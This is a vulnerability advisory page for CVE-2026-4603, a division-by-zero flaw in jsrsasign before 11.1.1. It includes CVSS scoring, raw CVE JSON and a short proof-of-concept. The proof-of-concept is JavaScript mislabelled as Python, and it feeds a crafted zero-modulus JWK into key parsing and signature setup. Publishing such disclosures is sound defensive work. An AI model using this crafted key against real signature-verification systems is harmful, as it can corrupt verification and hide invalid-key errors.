Security Vulnerability Report
中文
CVE-2026-4603 CVSS 5.9 MEDIUM

CVE-2026-4603

Published: 2026-03-23 06:16:22
Last Modified: 2026-04-29 01:00:02

Description

Versions of the package jsrsasign before 11.1.1 are vulnerable to Division by zero due to the RSASetPublic/KEYUTIL parsing path in ext/rsa.js and the BigInteger.modPowInt reduction logic in ext/jsbn.js. An attacker can force RSA public-key operations (e.g., verify and encryption) to collapse to deterministic zero outputs and hide “invalid key” errors by supplying a JWK whose modulus decodes to zero.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:* - VULNERABLE
jsrsasign < 11.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-4603: jsrsasign Division by Zero // This PoC demonstrates triggering the vulnerability by parsing a JWK with a modulus of zero. const rs = require('jsrsasign'); try { // Construct a malicious JWK where 'n' (modulus) decodes to 0 // Base64URL string "AA" decodes to a single zero byte. const maliciousJWK = { kty: "RSA", n: "AA", e: "AQAB", alg: "RS256" }; console.log("[+] Attempting to parse malicious JWK with zero modulus..."); // KEYUTIL.getKey triggers the RSASetPublic parsing path const publicKey = rs.KEYUTIL.getKey(maliciousJWK); console.log("[+] Key object created (potentially corrupted):", publicKey); // Attempting a verify operation that triggers modPowInt // In vulnerable versions, this may behave unexpectedly or return deterministic zeros const sig = new rs.KJUR.crypto.Signature({"alg": "SHA256withRSA"}); sig.init(publicKey); console.log("[+] Signature initialized with potentially invalid key."); } catch (error) { console.error("[!] Error occurred (may be suppressed in vulnerable versions):", error.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4603", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:22.233", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Division by zero due to the RSASetPublic/KEYUTIL parsing path in ext/rsa.js and the BigInteger.modPowInt reduction logic in ext/jsbn.js. An attacker can force RSA public-key operations (e.g., verify and encryption) to collapse to deterministic zero outputs and hide “invalid key” errors by supplying a JWK whose modulus decodes to zero."}, {"lang": "es", "value": "Versiones del paquete jsrsasign anteriores a la 11.1.1 son vulnerables a la división por cero debido a la ruta de análisis RSASetPublic/KEYUTIL en ext/rsa.js y la lógica de reducción BigInteger.modPowInt en ext/jsbn.js. Un atacante puede forzar que las operaciones de clave pública RSA (por ejemplo, verificar y cifrado) colapsen a salidas cero deterministas y ocultar errores de 'clave no válida' al proporcionar un JWK cuyo módulo se decodifica a cero."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.1", "matchCriteriaId": "1EBBE1A6-4D19-4ED2-859C-73AFBDA25DEA"}]}]}], "references": [{"url": "https://gist.github.com/Kr0emer/5366b7364c4fbf7e754bc377f321e9f3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/kjur/jsrsasign/commit/dc41d49fac4297e7a737a3ef8ebd0aa9c49ef93f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kjur/jsrsasign/pull/649", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15371176", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}